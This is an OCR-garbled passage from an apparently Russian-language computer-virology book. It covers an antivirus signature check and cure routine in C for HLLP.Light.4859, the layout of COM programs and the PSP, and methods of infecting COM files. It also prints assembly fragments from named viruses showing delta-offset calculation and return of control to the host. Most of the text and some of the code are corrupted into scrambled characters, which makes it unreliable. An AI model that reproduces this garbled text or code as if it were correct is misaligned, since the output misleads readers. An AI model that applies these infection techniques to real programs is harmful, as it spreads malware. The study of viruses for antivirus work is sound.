e e .  H o .> ia K » K H H h i ctpok  Ha >f3biKe BbicoKoro ypoBHii Hepe/ii<o « p a 3 B o p a -  

>iiiBaioTca» b  K i i i i o 6 a i h 'b i  K o a a  (a  a -T a  W i n d o w s - B i i p y c o B  -  b z ie c H T K ii h  

c o t h h  K iL i 0 6 a i i T 0 B ! ) ,  H e p e a  K O T o p b ie  i i p i i x o a i i T c a  a o .a r o  H .w y H iiT e a b H o  

n p o o n p a T b c a  B i i p y c o J i o r y .  H o ,  n o  6 o . ib in o M y  c H e r y , b  3 t o m  « B H H O B a T b i^  

a B T o p u  K O M riH .iH T o p a , i i c n o J i b 3 0 B a H H o r o  HanncaiiHH Biipyca, a  c o -  

BceM ne B H p y c o n i ic a T e .T O .

.'[.in  pa3pa6oTK H  n a u ie ro  aH TUBiipyca lo y n a T b  M auinm ibie Koabi n e  rio- 

H aao 6 iiTCH -  ajiropHTM paGoTbi B iip yca  HLLP.Light.4859 npocT , n p o 3 p a -  
nen h jierK o no3HaeTCM b  peavJib 'iaxe nec;io>KHbix aKciiepiiMCHTOB.
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P a 3p a 6oTae.vr ABe 4>vhkhhh: in t  in fe c te d (c h a r  * )  h  in t  cu re  (c h a r  * ) .  

H epB aa  u s  h h x  npe/ina.-jfia 'iena jx m  npoBepKH  nporpaM M bi. hmh KOTopoft 

n ep e a a e rc a  e ft b tc k c to b o m  MaccHBe, Ha 3apaw:eHHocTb. O v h k u h h  ao jdk - 

Ha B03Bpam aTb nenyaeBO H  K oa, c c jih  cfjaii.n 3apaaceH. B T o p a a  6 va eT  b h -  

no.nnaTb  yaaaeH H e B H pycH oro  K oaa H3 aapaaceHHOH nporpaM M bi.

C )a n o 3HaHno p a cn o 3HaTb BH pyc HLLP.Light.4859 HaM noM oaceT pac- 
c.MOTpeHHbiH paH ee n p iiH iiH n  S a ftroB b ix  cu m a T yp . /I/in HLL-BiipyeoB 

H eo6 xoa iiM O  Bbi6 npaTb a.'iHHHbie c u n ia T yp b i, pac i io  a  a ra k j m  h eca  rae-TO 

b cep ea iiH e  B iip yca . JXeno b tom , h t o  KOMnHJurropbi c » 3m kob bm coko- 

r o  ypoBHH cioioH H bi ren ep iipoB aTb  oMenb n o x o a o ie  h  flaace iia eH T ii'iiib ie  

c^pam eH Tb i K oaa ;infs aoeo/noTHO pa3Hbix nporpaM M , a 3H ann 'eJ ibH yio  

<iacTb itporpaM M H oro M o a y jia  B ceraa  3aHHMaeT cTanaapTHbiH  K oa  RTL 
(a u ra .  R im th n e  Library -  oKclTOOTeKa BpeMeHH H cn oan en H H ). C oot- 
BCTCTBeHHO, BepOHTHOCTb JK»KHOrO cp a 6 aTbIBaHHH npn H CnO JIb.lO Bam iH  

K opoTK H x OHi'fiaTyp BecbMa BbicoKa. JXnn H au iero  y n e o H o ro  n p iiM epa  

Bfio.Tiic aocTaTOHHoii 6 ya eT  c n n ia T y p a  a jih h o h  16 oaiiTOB. IlycTb oHa 

p a cn o a a ra eT ca  b B irpyce, F ia 'fim aa c  n o 3HijHH lOOOh=4096, T o ra a  e e  o 6 pa- 

3y io T  ca e a y io m H e  3HaneHHH: « 88h 42h OEOh 46h OEBh 27h OOh OEdh 3Fh 
8Bh OCEh 0E3h 12h 8Dh 7Eh 0E()h». Byae.M  cniiTaTb, 4 t o  ec/in b npo- 
BepaeMOM (}.)aftjie no aapecv 4096 pacnoaara ioTC K  h m c h h o  s t h  6 aftTbi, t o  

nporpa.MMa 3apa»ceHa BHpycoM HLLP.Light .4859. OyHKiiHH infected() 
MoaceT BbiraaaeTb npHMepHO Tax:

unsigned char s ig n f16] = {0x88, 0x42, OxEO, 0x46, OxEB. 0x27.
0x00, OxED, 0x3F, 0x8B, OxGE, 0xE3, 0x12, 0x80, 0x?E. OxEO };

m t  in fe c te d (c n a r  *s )  { 
unsigned char buf [ 1 6 ] ;  m t  f ;
*  -  open(s, 0_BIHARY|0_RD0NLY); 
ls e e k ( f ,  0x1000. SEEK_SET); 
re a d ( f, buf, ?6): 
c lo s e ( f );
re tu rn  ( ! s t r r s c * o ( d u f , s ign ,  16 ) ) ;

B H p yc  M3 nporpaM M bi ya a/ w eT ca  to jk c  w h -u l n p o c m :  1 ) H3 3apa>Ken- 

H oro  (|)an;ia CMHTbiBaeTca (JjparMeirr, iiaH iina io iU H H ca c 6a iiTa  4859  ii ripo- 

CTMpajotuHfica B iu ioTb a o  KOHua cjjaiiaa; 2) b t o t  4>panweHT 3an iicw B aeTca  

b  H anaao 4>aujia; 3 )  e ca n  o p n n iH a jib iia a  riporpa.MMa 6 b ia a  Kopo>ie B iipyca , 

t o  b KOHqe (Jjaiijia o6p a3 yeTca  «.T iim H iiii x b o c t » ,  e ro  peKO M eH ayeTca o t -  

ceMb. B o t  n p iiM ep iib iH  B apu airr <|)yiiKumi c u r e ( ) :

C L/re(c-sr {

in t  n; uns'/gned c tia ' unsigned ■ u,
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f = open(s, 0_SINARY|0_RDWR): 
rp=4859; wp=0; n=512; 
w h ile (n )  { 
lseek(f, r D, SEEK.SET); 
n = reao(f. but, 512);
Iseek(f, Wp, SEEK.SET); 
write(f, Ouf, n); 
rp+=n; wp+=n;

}
c lo s e ( f ) ;

i

3.3. Bupycbi, 3apa>KaK)uiMe 
COM-nporpaMMbi

.. .O h  coopan  6 u  9m y m m yu y  e  baa enem a, u e p a c -  

Kpbioax in m .

A . h  B . C rp y ra n K H e . « O oH Tat-M M M  o c t p o b »

COM-nporpaMMbi npeacTaBJiaioT co6oh HecipyKTvpHpoBaiiHbiii 6jiok 

KO/ia ii /tanHbix, He npeBbimaioiuHH no p a 3 M ep y  64 K6 h HaqiiHafouurii- 
ca c Hcno.THaeMOH KOManaw. IIporpaMMhi TaKoro Bii;{a -  nacjie/uie, 
ocTaBiueecH ot oriepaunonnoH chctcmbi CP/M, npezimccTBenHUUbi 
MS-DOS h Windows. Ho 4 0  chx nop onepamioHHbie chctcmh (Ha- 
npiiMep, Windows 2000/XP) iio3Bo;ihiot 3anycKaTb TaKHe nporpaMMbi. 
A b Windows 95/98/ME no/ioBMfia CTaimapxHbix cHCTeMHbix yrojiHT, 
xpaHHmHxcH b noflKaTanore «%Windir%\COMMAND». npocTo mnx- 
iotch COM-nporpaMMaMH.

CjieayeT OTJiimaTb COM-nporpaMMbi ot COM-(}>aiuiOB, to ecTb ot 

(JmLnoB c pacuinpeHHeM «.COM». Zlejio b  to m , hto BHVTpeHHee cozjep- 
*HMoe nporpaMMbi m o k c t  He c00TBeTCTB0BaTb pacmiipeHHio. HanpiiMep, 
KOMaHaHbiH npoueccop «COMMAND.C.OM» b  MS-DOS BepcHii ao 6.22 
BKjiioiiiiTejibHO HMe/i COM-<J>opMaT, a HaHimafl c BepcHH 7.x ero qfjaftji 
c tcm >Ke HMeHeM coaepjKHT y*e  9  5 - k h ;i o 6 a ii t o By ro EXE-nporpaMMy.

3 . 3 . 1 .  B H e ^ p e H M e  b  4 > a tw i « K e p T B b i »

CncreMHwii 3arpy3MUK BbiaejraeT COM-nporpaMMe MaKCHMajibHbift cbo- 
ooflHbiH cfjparMenT ochobhoh (conventional) naMsmi, b nepBwx 25(5 oaii- 
rrax KGTopoii crpoHT npec|)HKC nporpaMMHoro cerMemra PSP (axo Bepno 11 

;yia C O M -, h n,Jin EXE-nporpaM M ), aareM, HaHHHaH co cMememia lOOh, 
pa3.\i(TitaeT co;i(.‘pa<HMoe nporpaMMiioro tjiaiijia b HeiisweiiHOM bh;u\ na-
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CTpaHBaex perH C Tpu  h, HaKOHeu, nepe/iaeT vnpaBJienne Ha n ep B y io  h c- 

noJinaeM VK) KOMan/jy. B o t  cTp yK Typ a  PSP:

I n 12 0 dw ? +00H -  6a«Tb! CD 20h -  koa K0M3HPU INT 20H
TopMeiri dw ? +C2H -  pa3Mep e 16-6a8THW<ax BwfleneHHuit naMBTM

db ? +04 H -  ???
C a l l i db ? +05H -  Ha'na/io KOMaKflbi CAll  cs-ieweHMe:cement CP/M
SegSiz dw ? +06H -  pasMsp nporpaHMHOrc- cerneHTa
03112 dw ? +08H -  KOHeu KOMaHflbi CALL CMSiueHne: c e rae m  CP/M
3 ln t2 2 dd ? +0aH -  npeflb'flyu|nii afipec oSpaooT'-ma I NT 22H
a lr it2 3 do ? *0eH -  npenbiflyui^ii afipec oftpaSOT'-ma INT 23H
a ln t2 4 dd 7 +12H -  npeAHflyiiiKii aapec o6pa60THHKa INT 24H
ParPSP dw ? 1-16H -  CerMeHT PSP nporoa»wu-poflMT8fl«
Htgb db 20 dup (? ) -18H -  Ta6r,Hua oniicaxe.nefi otkputnx t ’afi/ioe
EnvSeg dw ? +2cH -  CerMSHT 6jioko okpyxeHKcs (cpeflw)

SSSP da o +2eH -  HaMa^bHoe eoisepKMMce SS:SP
Nnan dw ? +32H -  CMeTMHK 3anor;HeHHssx noneii e TaS.nuue onucaTe/ieK
AHTaS dd ? +34H -  aapec TSKymstf Ta^iiKiiH onucaTeneii
PrPSP dd 7 +38H -  yxasaTe.nb Ha npeflwayuinii PSP

db 4 dup (? ) ^3CH -  ???
Vers dw ? +40H -  Bspcufl MS-DOS (naMKHaa c 5 .0 )

db 14 oup (? ) +42H -  ???
C a lls db 3 dup (? ) -50H -  KOflbi KOttaHA INT 21 h V, RETF

db 9 Cup (? ) +53 H -  ???
FCBi db 16 dup (? ) +5cH -  FCBI
FCB2 db 16 dup (? ) +6cH -  FC32

db 4 Cup (? ) +7CH -  ?’ ?
DTA db 128 due (? ) +80H -  OTA no ytKtfwaHHO n KOMaHflHap cTpoKa (0 -8  Saiir -  p m

TaKHM 06pa30M, BHpycy, B03>Ke.naBineMy 3apa3HTb COM-nporpaMMy, 
aocTaTOHHo:

O KaKHM-jihoo oopasoM npiiKpenHTbca k ee (j)aiijiy; 
O 3aMeHHTb nepByio KOMamziy nporpaMMbi Ha cboio.
BbinojjHeHO s to  MoaceT 6brrb orpoMHbiM kojihhcctbom cnoco6oB. Pac- 

CMOTpuM HecKo.nbKo Hanoojiee nacTO BCTpenaiomHXca.
C n oco6  1 ( «CTaH/iapTHbiH» ) .  B up yc  npiiniicbiBaeTca k k o h u v  (^aiijia  

C O M -n p o rp aM M bi, a b  HaHajio ero  BimcbiBaeT acceMojiepnyio KOMai-iay 

(KaK npaBHJio, 3T0 «J M P »  h jih  « C A L L » )  nepexoaa Ha CBoe Tejio. PasyM e- 

eTca. npeacHee na'iajio nporpaMMbi, 3aMeHemioe KOMaHflofi nepexoaa, co- 

xpaHHeTca rae-TO BHyTpH Biipyca. IIpHM ep -  BH pyc Vienna.648.
11 puriHCbiHaHHe BiipycHoro Ko/ia k koh u v  nporpaMMbi npiiBo/urr k 

HeB03M0»H0CTIl HCn0JIb30BaHHH B HCM npHMOH a/ipecaUHH K KHeHKaM 

naMHTii (HanpiiMep. «M O V  METKA.O*). /lejio b tom, mto bcc upaMwe 

cchjikh <<iuibiByr>> iia Be.nHHHHy, paBnyio zuiHne aapaacaeMofi nporpaM
Mbi. BnpyconncaTejiHM npiixo^HTCH ycjio»vHHTb cBoii anropiiTM, hc- 
noJibaya KocBeHHjTo aapeeaum o co eMememieM (HanpHMep. «M OV
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M E T K A [ S I ] , 0 » ) ,  npHMCM b h h zk ’ k c h o m  p e r a c T p e  ( s t o  M o r y r  6b iTb  p e -  

r a c T p w  S I ,  D I ,  B X  h j m  B P )  / io ji>k h o  c o ^ e p jK a T b c a  «K o p p e K r a p y io m e e » -  

h h c j io .  B v K B a ;ib H o  H ecK O .ibK O  J iex naaazi, n a  p y6 e> K e  BeKOB, b  p y c c K o -  

H 3 b iy H y io  J iH T e p a r y p y  ripHUie.tr «H 3 -3 a  6 y r p a  »  cn eu H a jib H b iH  xep.MHH z ijm  

3 x o r o  HHCJia -  « d e s ib m a -C M e w ,e H u e ». i l o jK a j i y i i ,  e r o  H e jih an  n p ii3 H a T b  

c j iM i i iK o M  yzjaH H W M , h o  «H a  6enpM O J>e» o h  o w c T p o  c x a ; i  o 6 m e n p H H «T b iM . 

JSj.ih iio / iyH e iiH M  «/ je ;ib T a -c M e iu e H H M » o om m h o  H cn oJ ib3yeTC 5i n p H M ep H o  

b o t  T a K o f i  (J jparM eH T:

S ta r t :
c a l l  Next

Next:
pop s i
sub s i .  1 0 0 h + (o ffs e t N ftx t -o f fs e t S ta r t ;  ; %,m COM-bhpvcob 3 'o  l03h

O 't e n b  Mac ro  o h  p a c n o .x a ta e x c j i  b  caM OM  na>ta ;ie  B H p y c H o ro  Ko/ia. H a -  

; in 'in e  T aK oro  h u h  r io / io o H o ro  e \ iy  4 > p a ra eH T a  -  BaacH bifi n p n 3H aK  3 a p a - 

* e H H o c x i i  n p o rp a M M b i!

E m e  o .xn a  o c o o e m io c T b ,  K O T op y ro  H eo 6 xozu iM O  H M eTb b  BH/iy n p n  aH a- 

JiH3e « c x a H a a p x n o »  a ap a> K a iom H x  B H p yco B , cBH3aHa c TeM  ({m k to m . h t o  

M H o rn e  c o a a a iia e M b ie  b  n o c . ie f lH e e  B p e s ia  C O M - n p o r p a M M b i c o n ep jK a T  

B H yTpH  H e K o e  n o a o 6 H e  B H y rp e H H e ii C T p vK T yp b i. B  H a c T H o c ra , c n c T e M - 

H b ie  VTH .x iiTb i M S  W in d o w s  9 5 / 9 8 / M  E  p a a je .n e H U  Ha HecKOJibKO c e K m ii i ,

O flHV H3 KOTOpbIX 3aH H M 3eT  HCnOJIHHMblH KOA, f lp jT V K ) -  OtSxaCTb TiaHHWX, 

Tp eT b lO  -  oG iiaC X b HHHHHaJIH3HpoBaHHbIX flaH H bIX  II TCKCXOBblX CTpOK H T. 

fl. B j ia r o a a p H  s t o m  v  n p n  /lO Ka.xnaam iH  W in d o w s  H e x p e 6 y e x c »  n e p e m ic b i-

B aT b  HCXO/lHblH TeKCT H 3 a H 0 B 0  KOMIIH.XIipOJiaTb VTUJIHTbl -  ZlOCTaTOHHO 

3aM eH H Tb B  HHX ceKHHIO C. H an p H M ep , aHr.T0H3MHHbIMH COOOm eilH aM H, 

n a  ceK U H io  c  p y c c K H M ii. B e e  ceKUH H  o 6 i ,e a n n e H b i b  KOJibiieBOH c m ic o K ,  

M eT K oft 3aro jTO B K a ceKUH H  H B .x ae 'rca  C H ra a T y p a  «**NS», b  K o x o p o fi  n e p -  

BblMH CHMBOJiaMH 3aK 0flH p0BaH  H3bIK: «ENUNS» -  aHr.XHHCKHH,

«FRANS» -  ( jtp a im y sc K H H . «DEUNS» -  m :M eu ,K m i, «RUSNS>> -  p y c -  

c k h h  h  t. i i .  I I o c ; ie , ' iH n i i  3a r 0.a0B 0K (TO H H ee, n e p B b i i i ,  T aK  KaK h m c h h o  c  

H e ro  c a M a  n p o rp a M M a  n aH iiH aeT  o f ix o / i  c n n c K a )  p a a M e m a e x cH  b  K O H ije 

n o c T e ^ H e H  c e K m n i ,  t o  ecTb b K o r m e  C O M - t ^ a i i J J a .  B o jib m n H C T B o  B H p y 

coB , n p n itH C b iB a io iU H X o i k  T a K o ii n p o rp a M M e , « c 6i iB a io T »  H acTpottK V , n  

VTHJiHxa rrepecTaeT KoppeKTHo pa6oTaTb. H a  momcht Ham icaHiia 3 t h x  

cxpoK cym ecxByiox no Kpaiineii .\iepe jB a  Biipyca - Foo.95611 TD.1536, -  

KOTOpbie VHHXblBaiOX STO Ot'XTOflTe.'IbCXBO H 3apa;*aiOT CTpyKXypHpOBaH- 

H bie C O M  -n p o rp a M M b i «iipaB iu ibH o»: n e p e n o c a x  b K o u e u  <}>aii.na m c t k v  

«**N S » BMecxe co ccbuiKoii n a  cjie/iyiomyio ceKiuno h  KoppeKXiipyiox a ry
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ccMJiKy (c.xeziyjoiUMe 3a cHraaTypofi flBa oaHTa), vBejniiHBaH ee Ha ajil i 
n y  BHpyca. KcTa'ra, ;ie™ Tb 3apaaceHHbie tskhmh BiipycaMH nporpaMMbi 
Haao tojkc -«npaBiiJibHo»!

Cnoco6 2 («oBepjieiiHbm »). UpaKTH'iecKH aHajiornHen to My, KOTopwii 
iieuoJih3yeTCH  b « 0Bep.’ieim bix» Biipycax: koa 0pnn iH 3JibH 0H  nporpaMMM  

OKaabiBaeTCM riocjie KOfla «aapa3bi>. OrJiiiMHe TOJibKO b cnoco6e B03BpaTa 

vnpaBJieiiHM «acepTBe» (cm. flajiee). IlpHMepaMH moi'vt cjiyjKiiTb mhoto- 
HHCJieHHbie BHpycbi H3 ceMeiicTBa Pixel (ohh xe  Amstrad).

Cnoco6 3 (^BbiTecHHioiiiH i i » ) .  143 nana.na opH riiH a jibH o ii nporpaMMbi 
H3biMaeTCH (fjparM eiiT , paBHbin no pa3Mepy flA ira e  B iip yca , n  n p iiK p en .ra - 

p t c a  k  (J>aHJiy b KaxoM-HnoyAb a p >t o m  M ecTe (HanpHMep, b KOHue). B h - 

p y c  3anncbiBaeTca. b <<ocBo6o>K/ieH H oe>>  M ecTo. TaK paooraioT, HanpiiMep, 
npeflCTaBHTe.n l ceM eiicTBa Gergana.

d
"C TaH flapTH biviB "O B ep n eP iH bw " 

crtocoS cnocoG
Cnoco6
"BblTeCHeHMfl"

JMP | 
3 a p aw eH H a a  

nporpaMMa

Bwpyc

Bwpyc

3 ap a *eH H a «  
n porp aM M a

Bupyc

...nporpaMMa 

3apa)KeHHaa...

Pmc. 3 .3  ❖  OcHOBHbie cnoco6bi 3apaxeHHfl COM-nporpaMM

C n o c o 6  4  (• s c M e u ia H H b iii» ) .  (D a K T H ^ e c K ii i i m c k j t c h  b  B H fly  B e e  o e r a ; ib -  

H b ie  c x e M b i BiicApeiiH H  B H p y c H o ro  K o a a  b t c j i o  n p o rp a M M b i. B u p y c o n i i -  

c a T e jn o  i iH K o ra a  H e 6 b u io  T p y flH O  H 3 o 6 p e cT H  i i  p e a ^ H s o B a i'b  B ap n aH Tb i, 

n p e/ iy cM a T p H B a io m H e  «n e p e M e i i iH B a H n e »  (J jp a m eH T O B  «> K ep T B b i» h  BH

p y c a .  D iaB fio e  T p e o o B a m ie  -  h t o o w  n e p B a a  KO M aH fla  npHHa;iJie>Ka;ia b h - 

p y c y  ( x o t h ,  K aK  mm vbh ah m  aa.TbUie b p a 3 A e ; ie  « B i ip y c b i  c  H eH 3 B ecT H o ii 

TO H K oii B x o f la » ,  flaace  n  3 t o  H e o 6 a 3 a T e jib H o ).

H an p iiM ep , icxacciiH ecK m i BH pyc Lehigh pa3 Meiua/i ce 6 a  b cepeflH H e 

4 )a ftJia « C O M M A N D . C O M » ,  b flOBOJibno oom n p iiO H  «iivc toh > >  o 6 jiacT ii, 

co;icp>Kaineii Hy.neBbie baiiTbi.

A 3Ha\ieHHTbiH OneHalf.3544 x o th  h npm iH CbiBaji cBoe 3aiiiii<f>poBaH- 

n o e  T e .io  k  KOHijv cjaaiijia, saTo KOManflbi fleK O fliip y iom ero  HHKJia 0Ka3bi- 

B a jm cb  p acK iifla iib i n o  <f>ai}.ay b B n ae e/iyqa iiiib iM  oopaaoM  p acno jioaceH -

HblX «OCTpOBKOB».
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3 .3 .2 . Bo3BpaT ynpaB/ieHMfl «>KepTBe»
E c j i h  B H p y c  H e  « n e p e 3 a n n c b i B a K ) m n f t » ,  t o  o h  a o J ia c e H  o S e c n e H H T b  H o p -  

M a j ib n y r o  p a 6 o T y  .a a p a ^ K e n H o it  h m  n p o r p a M M b i, h t o 6 h  n o j i b s o B a T e j i b  h h -  

q e r o  H e  3 a i i 0 j i 0 3 p n J i .

Hmchho cJ)parMeHTbi BHpyca, OTBenaiomHe 3a B03BpaT ynpaBJieHHH 

«*epT B e », He06x0fliiM0 b nepByio OHepeflb iray'iaTb BHpycojiory, ̂ jih Toro 

HToSbi pa3pa6oTaTb aJiropiiTM «HCnejieHHH» 3apaaceHH0H nporpaMMbi. 
Be;tb ohh caMii no ce6e y * e  coaep^aT a jirop im i «ncnejieHH5i>>.

IIocKo.fibKy COM -nporpaM M a He HMeeT HHKaKoii BHyTpeHHen c T p y K -  

Typbi, to  BHpycy Bnojme flocraTOHHo BepHyTb b  tom ath Bee nepeMemeH- 
Hbie cJ)parMeHTbi b  hx nepBonanajibHbie no3imiiH, BoccTaHOBHTb hcxoh- 
H w e  3HaMCHHa pemcTpOB h nepeaaxb ynpaBjiemie Ha aapec lOOh.

B o t  HecKOJibKO n pnM epoB  T o ro , KaK s t o  /iejiaiOT B iipycb i, 3apaacaiom ne 

«CTaH/iapTHbiM » c n o c o 6 oM.

Bupyc IronMaiden.636:
?nov a x . S3V91 [ d i  1 ; B a ^ ib i Wn n Nr2 

mov [0 0 1 00 ft],a x  
ffiov ah, S a v e 2 [d i] : EafcT N$3 
mov [0 0 1 02 ft],a h

mov ax.OlOOn
; B 0ccT3H 08/ieH K is  m  d i s k s  p e rM c rp o e

p op  d i

pop  s i

pop  dx

pop  c x

pop bx
pop es
popf

p ush  ax

r e t n

Biipyc AWME.1267:

!Tiov d l , 10Or 
lea  s i,S a v e [b p ] 
mov c x .3 
c ld

re p  n o v s  g

; QoHy.n»?Hî  
xo r o x , Px 
XCK CX.CX
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xo r d x .d x  
xo r d i . d i  
xo r s i , s i
: BocciaHOKieHde cerwHTOB
push cs
push cs
pop ds
pop es
mov ax,100h
push ax
x o r ax ,ax
re tn

CerMeHTHue periicTpbi h peracTpw o6mero Ha3Ha4eHHH npH CTapTe 

COM-nporpaMM HMeioT onpejieJienHbie 3HaneHHH: 
O DX=CS=DS=ES=SS -  cerMeHTHwii aapec BbiflejieHHoii o6jiacTH 

naMHra («6a3bi»);
O DI=SP = OFFFEh, a b cTeKe Bcer^a 0;
O SI=IP = lOOh;
O AX=BX =0 hjih OFFh; 
O  CX = zuiHna nporpaMMbi MOD 65535.
I I p i i  B03BpaTe y n p a B J i e n r a  « a c e p T B e »  B H p y c w  / j a j i e K o  He Bceraa boc- 

C T a H a B JiH B a io T  n c x o f lH o e  c o a e p > K H M o e  p e r a c T p o B  o 6 m e r o  n a s H a M e iiH H . 

B o jib u iH H C T B o  3 a p a > K e iiH b ix  n p o r p a M M  Ha 3to H e  o S p a m a i o T  B H H M a H M , 

h o  H e K O T o p u e  M o r jT  p a 6 o T a T b  H e K o p p e K T H o . C p e a i i  B i i p y c o n H c a T e j i e i i  

< y a o B J ie T B o p H T e jib H M M »  pemeHHeM C H H T a e T c a  n p o c T o e  o 6 H y jie H i ie  a n i x  

p e r a c T p o B  n e p e f l  B 0 3 B p a T 0 M  b o p n r H H a jib H V io  nporpaMMy. C z i p y r o f i  cto- 
P O H H , H eK O T O p M e « X H T p h ie »  B H p y c b i  CaM H  H H O ra a  3 KTH BH O H C n O JIb 3 y iO T  

« C T a n a a p T H b ie »  3 H a M e im a  p e r a c T p o B  j j m  cbohx u e j i e i i .  Ecjih n p o r p a M M a  

O K ajK eT C H  n o o n e p e / m o  3 a p a » c e H a  « X H T p b iM »  i i  « J ie H iiB b iM »  B H p y c a M ii ,  to 
K o p p e ic r H O  p a 6 o T a T b  0 H a  H e  o v / i c t .

Co6ctbchho nepeflana ynpaBJieiimi Kojsy «acepTBu» mokct 6biTb
oc|)opMJieHa pa3̂ HMHbiMH cnoco6aMH: c npiiMeHeHHeM kom3hzi «JM P»
BHjrrpHcerMeHTHoro h MeacceraeHTHoro nepexoaoB. kom3h/i «RET» bo3- 
BpaTa H3 «6.jihjkhhx» ii «ziajibHHx» npoue/iyp ii aaace KOManaw «IRET» 
B03Bp3Ta H3 o6pa6oTMHKa IlpepblBallHH. PaCCMOTpHM IIOyHHTeJIbHblH
npHMep (BHpyc Chukcha.554).
sub Dx.bx , QoHViieiwe p e ru c ip a  3X
3lib dx, dX . OtiHy/laHlio perucrpa  DX
mov ax. 0100 Exam ii3aniie 3 o re,
3usn sx .c ra p io s o ro  anpeca
sub ax, ax O'jHyneHne pertic roa  AX
193 r i l , [u 0 1.<XS; . OTapTuBisj aAaec
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lea s i .  Program 

c x ,V irL e n  
movsb

AApec npMKpen/ieHHOM "*epT&bi" 
i\J\ HH3 KGflS )K0pT8bi
K0nHp0B3H^e KOAS K0pT6bl B MCXOaHyiO f103MUM!0
flepeaaMa ynpas/ieHMfl koay xepTBbi

mov
reps
re tn

3 t o t  BHpyc pa6oTaeT n o  «OBep/ieHHOM\> Mexoay, npiiKpeiuuiH «acepT- 

By» k KOHLty BHpycHoro Ylocne B b in o .n u e im a  c b o h x  «cynpyjfcecKHX
06«3aHH0CTeH» (to  ecTb noc;ie nonbiTKH pa3MH0JKeHHM) Chukcha.554 
K on n p yeT  k o a  «»cepTBbi» b «HcxoflHyio n o .3 H U H io »  h... IT03B0JibTe, h o  Ka- 
khm  06pa30M Toraa cMoaceT BbinojiHHTbca KOMaH/ia «RETN», coBepiuaio- 
maa «CKanoK» Ha azipcc lOOh, Beflb OHa npn s to m  KonnpoBaHHH 6yaeT 

ucMHHveMO yHHMTO^ceHa ko/iom opHi'HHajibHOH nporpaMMbi?!
H eT, s t o  He o u iii6 Ka. /le.iio b tom , h to  M/iajinnie M o jie jiii n p ou eccop oB  

(J)HpMbi In te l  B b inojitta ioT  KOMaHflbi, H3BJteKaa h x  H3 onepaTH BH oii naMH- 

th  He n o  o flH o ii, a rpynnaMH. H epBonaqa.ibH O  KOMaH/ibi OKa3biBaiOTCH bo  

BHyrpeHHeM  6y4>epe n p o u ecco p a , b TaK Ha3biBaeM0M nomeuepe KOMaud. 

/L 'lim a 3 Toro  KOHBeftcpa nocTeneHHO p o c jia  BMecTe c H0M ep0 M BepciiH  

n p o u ecco p a :

O  8086/8088 -  4 6aiiTa;
O  80286 - 8 6airroB:
O  80386 — 16 6aHTOB...
T a K H M  0 6 p a 3 0 M , n p H  B b m o /m e H H H  p a c c M a T p i iB a e M o r o  B H p y c H o r o  

4 > p a rM e H T a  « 3 a T H p a .iH c b »  K O M aH /ib i, e m e  n a x o a a m n e c a  b  o n e p a T H B H o ii  

n aM H T H , a  B b i n o / n w ji H C b  -  y a c e  0 K a 3 a B i n n e c a  b  KOHBeiiepe.

Ho H3 apxHTeKTypbi npoueccopoB rana Pentium (n oojiee CTapumx 

Moaejiefi) •(fKOHBeiiep KOMan;i» oh ji hckjiiohch. Ha npaKTHKe sto  03na- 
naeT, hto He mnbKO MHorne BHpycbi, ho h n on™  Bee cncTeMbi aaiUHTbi ot  

HecaHKimoHiipoBaHHoro KonnpoBamia, HanncaiiHbie npHMepHO ,io cepe- 
aHHU 90-x ro/ioB X X  BeKa, aKTya;ibHOCTb rioTepajm.

Pa3yMeeTCH, KOHKpeTHbix cnoco6oB B03BpaTa «>KepTBe» ynpaB.’ienRH 

nOHTH CTOJlbKO ace, CKOJIbKO H CaMHX BHpycOB. H  He TO/IbKO paCCMOTpeTb, 

ho h aa>Ke ynoMHHVTb Bee ocoochhocth h «toh k octh » omjio 6 bi 3aTpya- 
HHTejibHO. Te.M He M enee noHTH Bee cnocoobi n o cT p o e n w  Ha o 6 in u x  nprn i- 

m inax h peajiH30BaHbi n pn  n oM om n  orpaH H H eH H oro KOJinnecTBa KOMana. 

H a n 6 o jie e  cm ibHO cxo/ictbo sa M era o  n pn  i ia y ie m n i  MHoroHHCJieHHbix 

h npHMHTHBHbix cmydemecKux eupycoe, coaaa iiH b ix  MaHHuaioiuii.Mn bh- 
pyconncaTe.rtHMH. 3 to  oDCToarejibCTBO nozrrojiKHyjio pa3pa60THHK0B 

aHTHBHpyca D r W E B  b 1998 r. k nonbmce HayHHTbca HCKaTb b Ko/iax 

nporpaMM THiiHHHbie (JjparMeHTW, npH H afljieacam He hobwm, em e  iiena- 
BecTHbiM COM -BiipycaM , aHajiH3iipoBaTb hx h aBTOMaTHHecKH yaajiMTb 

«3apa3_v>> H3 n p o rp a M M b i. Hafi/teiiiibie TaKHM c>6pa30M B u p y c b i n o jiy n n jiH
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b TepMHHOJionin DrW EB o6mee hmh N innyish .Generic (a m .  ninny -  
aypanoK, npocTcxfjMJifl).

3aayMaHo 6bi.>io xopoino, ho npaKTHHecKaa pea.maanHfl, KaK sto  o6mh- 
ho BoziHxca, 0Ka3a;iacb nocHTejieM pa/ia TpyaHoycTpaHHMbix HeflocraT- 
KOB. DiaBHblft HC/IOCTaTOK .'WKJIlOMaJICH B JI0>KHbIX cpa6aTblBaHH»X 3HTH- 
Biipyca Ha coBepmeHHO 6e3o6n.aHbix (J)parMeHTax BnojiHe «HopMajibHbix» 
nporpaMM. «JIeneHne» TaKHX nporpaMM npnBOfljuio k hx 6e3Ha,zie2CH0ii 
nopne. B o t npnMep «.vrmiMoro 6o.Tbnoro»:

S ta rt:
c a l l  Next

Next:
pop d i
suo d i . 3
lea d i,  S ta r t [b x ]
rcovsb
re t

End S ta rt

IIpocymecTBOBaB napy Jier. pexcHM o6napy>KCHHH n .Te’ieHHH «aypau- 
kh x » BHpycoB 6bM H3 nporpaMMbi DrWEB yaajieH.

B.4. Bupycbi, 3apa>KaKDUine 
EXE-nporpaMMbi

..AnoKajiunmuuecKuu o6pas cyw/ecmea, Komo- 
poe... necem e ce6e ueeedoMyio u zpomyw npo- 
epaMMy. u  cmpauiHee eceeo mo, umo oho como 
Huuezo ne 3Haem 06 srnou npoepaMMe...

A . h  B . C Tpyra i;K H e . « )K yK  b M ypaB ejm m ce*

EXE-(J»pMaT iicnojiHHMbix (JraiMOB 6bi,i pa3pa6oTaH cjmpMOH Microsoft 
b HanaJie 80-x roaoB XX BeKa h npeffHa3HaHajicH aiw « 6ojibiiiHx» npo
rpaMM, He yMeiuaBniHxcH b TecHbie paMKH 64 K6. 3 to  -  de facto n de 
jure -  ochobhoii 4>opMaTnporpaMM nm MS-DOS.

riporpaMMHCT, paspaoaTbiBaiomHH EXE-nporpaMMy, mojkct o6paTim>- 
